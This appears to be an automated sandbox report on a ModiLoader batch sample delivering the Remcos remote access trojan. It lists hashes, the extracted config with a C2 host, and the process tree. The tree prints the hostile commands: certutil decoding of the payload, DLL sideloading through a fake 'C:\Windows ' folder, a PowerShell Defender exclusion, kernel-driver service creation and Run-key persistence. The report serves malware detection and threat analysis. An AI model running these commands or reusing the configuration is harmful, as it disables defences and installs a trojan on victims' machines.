Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20240220-en - resource tags
arch:x64arch:x86image:win10v2004-20240220-enlocale:en-usos:windows10-2004-x64system - submitted
21/02/2024, 04:09
Static task
static1
Behavioral task
behavioral1
Sample
db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat
Resource
win10v2004-20240220-en
General
- Target db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat
- Size 2.2MB
- Sample240221-eq3zrabc41
- SHA256 db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db
- MD5 6dc5aa35800875f5e06a20da26286f13
- SHA1 b9fbf17b8a2aeae452050b2f660ef8cff024a433
- SHA512 a51120e0800a2694ae14267faf667dc5f37be76bf17bcc042931ef8a1f7f8b38237bf12f441ce3eec7eb4aba15428e3ddcbaa2f23a2944b7f8adbe9c9a5649ab
- SSDEEP 24576:RLM2LFX2P6Qv1hhxfAswo1eoKHMX+mIi8g1CLbGBi3oucj+9OtOT+a0sloBJCpDo:RYQSv1fxfAsJ1eoVuSDW0YXEx
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
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remcos
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RemoteHost
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swjurf.work.gd:9231
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
hgjbhk
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mouse_option
false
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mutex
Rmc-BM92FA
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 15 IoCs
resource yara_rule behavioral2/memory/3992-52-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-55-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-56-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-57-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-58-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-59-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-60-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-66-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-67-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-74-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-75-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-82-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-83-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-90-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM behavioral2/memory/3992-91-0x0000000001200000-0x0000000002200000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM - ModiLoader Second Stage 1 IoCs
resource yara_rule behavioral2/memory/1664-6-0x00000000049D0000-0x00000000059D0000-memory.dmp modiloader_stage2 - Creates new service(s) 1 TTPs
- Executes dropped EXE 3 IoCs
pid Process 1664 pointer.com 1404 easinvoker.exe 884 easinvoker.exe - Loads dropped DLL 2 IoCs
pid Process 1404 easinvoker.exe 884 easinvoker.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4023562663-3911442808-1494947993-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Soxqluzt = "C:\\Users\\Public\\Soxqluzt.url" pointer.com - Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 544 sc.exe 2420 sc.exe - Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 2528 PING.EXE - Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 17 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe 1404 easinvoker.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 652 Process not Found - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3404 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3992 colorcpl.exe - Suspicious use of WriteProcessMemory 60 IoCs
description pid Process procid_target PID 1372 wrote to memory of 4640 1372 cmd.exe 85 PID 1372 wrote to memory of 4640 1372 cmd.exe 85 PID 4640 wrote to memory of 4704 4640 cmd.exe 86 PID 4640 wrote to memory of 4704 4640 cmd.exe 86 PID 1372 wrote to memory of 2528 1372 cmd.exe 87 PID 1372 wrote to memory of 2528 1372 cmd.exe 87 PID 1372 wrote to memory of 1664 1372 cmd.exe 90 PID 1372 wrote to memory of 1664 1372 cmd.exe 90 PID 1372 wrote to memory of 1664 1372 cmd.exe 90 PID 1664 wrote to memory of 2316 1664 pointer.com 91 PID 1664 wrote to memory of 2316 1664 pointer.com 91 PID 1664 wrote to memory of 2316 1664 pointer.com 91 PID 2316 wrote to memory of 4672 2316 cmd.exe 93 PID 2316 wrote to memory of 4672 2316 cmd.exe 93 PID 2316 wrote to memory of 4672 2316 cmd.exe 93 PID 2316 wrote to memory of 1580 2316 cmd.exe 95 PID 2316 wrote to memory of 1580 2316 cmd.exe 95 PID 2316 wrote to memory of 1580 2316 cmd.exe 95 PID 2316 wrote to memory of 2448 2316 cmd.exe 96 PID 2316 wrote to memory of 2448 2316 cmd.exe 96 PID 2316 wrote to memory of 2448 2316 cmd.exe 96 PID 2316 wrote to memory of 2080 2316 cmd.exe 97 PID 2316 wrote to memory of 2080 2316 cmd.exe 97 PID 2316 wrote to memory of 2080 2316 cmd.exe 97 PID 2316 wrote to memory of 2532 2316 cmd.exe 98 PID 2316 wrote to memory of 2532 2316 cmd.exe 98 PID 2316 wrote to memory of 2532 2316 cmd.exe 98 PID 2316 wrote to memory of 2580 2316 cmd.exe 99 PID 2316 wrote to memory of 2580 2316 cmd.exe 99 PID 2316 wrote to memory of 2580 2316 cmd.exe 99 PID 2316 wrote to memory of 4524 2316 cmd.exe 100 PID 2316 wrote to memory of 4524 2316 cmd.exe 100 PID 2316 wrote to memory of 4524 2316 cmd.exe 100 PID 2316 wrote to memory of 2028 2316 cmd.exe 101 PID 2316 wrote to memory of 2028 2316 cmd.exe 101 PID 2316 wrote to memory of 2028 2316 cmd.exe 101 PID 2316 wrote to memory of 4664 2316 cmd.exe 102 PID 2316 wrote to memory of 4664 2316 cmd.exe 102 PID 2316 wrote to memory of 4664 2316 cmd.exe 102 PID 2316 wrote to memory of 1404 2316 cmd.exe 103 PID 2316 wrote to memory of 1404 2316 cmd.exe 103 PID 1404 wrote to memory of 3508 1404 easinvoker.exe 104 PID 1404 wrote to memory of 3508 1404 easinvoker.exe 104 PID 3508 wrote to memory of 3436 3508 cmd.exe 106 PID 3508 wrote to memory of 3436 3508 cmd.exe 106 PID 3508 wrote to memory of 544 3508 cmd.exe 107 PID 3508 wrote to memory of 544 3508 cmd.exe 107 PID 3508 wrote to memory of 2420 3508 cmd.exe 109 PID 3508 wrote to memory of 2420 3508 cmd.exe 109 PID 3436 wrote to memory of 3404 3436 cmd.exe 110 PID 3436 wrote to memory of 3404 3436 cmd.exe 110 PID 1664 wrote to memory of 2120 1664 pointer.com 111 PID 1664 wrote to memory of 2120 1664 pointer.com 111 PID 1664 wrote to memory of 2120 1664 pointer.com 111 PID 2120 wrote to memory of 884 2120 cmd.exe 113 PID 2120 wrote to memory of 884 2120 cmd.exe 113 PID 1664 wrote to memory of 3992 1664 pointer.com 114 PID 1664 wrote to memory of 3992 1664 pointer.com 114 PID 1664 wrote to memory of 3992 1664 pointer.com 114 PID 1664 wrote to memory of 3992 1664 pointer.com 114
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Windows\system32\cmd.execmd /c certutil -decodehex "C:\Users\Admin\AppData\Local\Temp\db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat" "C:\Users\Public\pointer.com" 32⤵
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\system32\certutil.execertutil -decodehex "C:\Users\Admin\AppData\Local\Temp\db5c362b0b4ec0a9bbc7b2c5a186a22019c82c2a96a7c326fad2e1f095de22db.bat" "C:\Users\Public\pointer.com" 33⤵PID:4704
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C:\Windows\system32\PING.EXEPING -n 3 127.0.0.12⤵
- Runs ping.exe
PID:2528
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C:\Users\Public\pointer.comC:\Users\Public\pointer.com2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\SoxqluztO.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\SysWOW64\cmd.execmd /c mkdir "\\?\C:\Windows "4⤵PID:4672
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO F"4⤵PID:1580
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C:\Windows\SysWOW64\xcopy.exexcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y4⤵
- Enumerates system info in registry
PID:2448
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO F"4⤵PID:2080
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C:\Windows\SysWOW64\xcopy.exexcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y4⤵
- Enumerates system info in registry
PID:2532
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO F"4⤵PID:2580
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C:\Windows\SysWOW64\xcopy.exexcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y4⤵
- Enumerates system info in registry
PID:4524
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO F"4⤵PID:2028
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C:\Windows\SysWOW64\xcopy.exexcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y4⤵
- Enumerates system info in registry
PID:4664
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C:\Windows \System32\easinvoker.exe"C:\\Windows \\System32\\easinvoker.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1404 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""5⤵
- Suspicious use of WriteProcessMemory
PID:3508 -
C:\Windows\system32\cmd.execmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"6⤵
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3404
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C:\Windows\system32\sc.exesc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel6⤵
- Launches sc.exe
PID:544
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C:\Windows\system32\sc.exesc.exe start truesight6⤵
- Launches sc.exe
PID:2420
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C:\Windows\SysWOW64\cmd.execmd /c "C:\\Windows \\System32\\easinvoker.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows \System32\easinvoker.exe"C:\\Windows \\System32\\easinvoker.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:884
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C:\Windows\SysWOW64\colorcpl.exeC:\Windows\System32\colorcpl.exe3⤵
- Suspicious use of SetWindowsHookEx
PID:3992
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\hgjbhk\logs.dat
- Size 144B
- SHA256 d08ff5c4cd293325be53fc6544acb1fa1ee674e57fa042f0b8be01bbca6ac0da
- MD5 e4253a2776319db0250b6e18502f4b89
- SHA1 1bd06bdf2ad270508b4280fd3a48b77aef5a148d
- SHA512 bacbec273bfa87a265a03eb4c9544b35c8239b580b5206ecee684e9aa18b2c464cfc4869139d18c533e9aea70c30c5823bf47263778dd282eeea619cfe4d8789
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4qutvud.qxc.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Public\Libraries\KDECO.bat
- Size 4KB
- SHA256 c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9
- MD5 785e8193007bcd7858b9df41c9d45f89
- SHA1 29b206de05ab075138ca9e0b9fccdddf3c30cdfe
- SHA512 a4d6fd586800f27939d8c152e89d2a231dc9fd8466e715dfeba22e2aa0428509095e12e6e66f2cb5e40ff5c998b439dc3f6792e20c179f41ac9cae31ada9d45f
- SSDEEP 96:SXISfSQ06ldNpeDSMfZ5eFsOWSaQmHs7k8qntYlBT1g8klpiyqYr4Vgc5KsW3:4ISBl1eDS3sLBMBW8k35R4VgXsa
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\Libraries\SoxqluztO.bat
- Size 7KB
- SHA256 f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea
- MD5 0d0d24b46d4bb0e4962595d455020d48
- SHA1 48b247c1cb2577b28aabd7dfa999e0642b5dc6de
- SHA512 d5a8779e1cfd2a284173ce8a205cacb41fc7c744fa84e55682ac50b327c676ff50f668ecd176e0ab84420d143a8023d8b4590362b223704c55f5b0d7e116ba2c
- SSDEEP 96:d/MTt2AdgpRXp2iRk1gLnjrL8DKzGrqpQo8G4rBlV+NZxHlwcGCsmZ8ftIhu6yN2:mhdgPZoKnjv8Nrmz8nrByNWc7eIhu6h
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\Libraries\easinvoker.exe
- Size 128KB
- SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
- MD5 231ce1e1d7d98b44371ffff407d68b59
- SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
- SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612
- SSDEEP 3072:zar2xXibKcf5K67+k02XbFbosspwUUgcR:Nibl7+k02XZb9UA
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\Libraries\netutils.dll
- Size 115KB
- SHA256 ae33f291a6f2011ca147c2b48035743aba3c507dcef86e1fa6acb4dee47cbf43
- MD5 ecb0b0d16112f27c57e4048a02802fd5
- SHA1 f7d1c76802d3948c55114fc0ea82c928936de944
- SHA512 a18a6cde621274f42e20b4b897df2df984a8e6d420d65198fd6d4193a3a91b8c3ca6905120ac299acd8758da72654e7a650e872425677763894b11c98f03c421
- SSDEEP 1536:zUJiEezaID3zzy02XtS1msMtY0j5jJUQ7bT47WCl7MbiR8RyIESE8F:zUQEezd/4S1aY0vUQ7bT4gRy9SE8F
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\pointer.com
- Size 1.3MB
- SHA256 699a27d39fd0baa6dee651adf1995ca6eb168657b41235fd0d2cd74c738a8cac
- MD5 5e14df714a090c430526a6a3f5ae14a9
- SHA1 9d30febbb7666626c8c3a917aeccdda79d39f18a
- SHA512 d20540378cf8e76b39beff338de024d9e061a1c84ab5ac2a0033b2b76f5d845234016b35fcdcabb03c049d65f279101a9993a145b369591b4821c880efb70e34
- SSDEEP 24576:kH+bZn4eJDePreMta+dBZPGBAvPZsRDl4D0:kH7eJiPrVBZPGBJO
- MD5 SHA1 SHA512 SSDEEP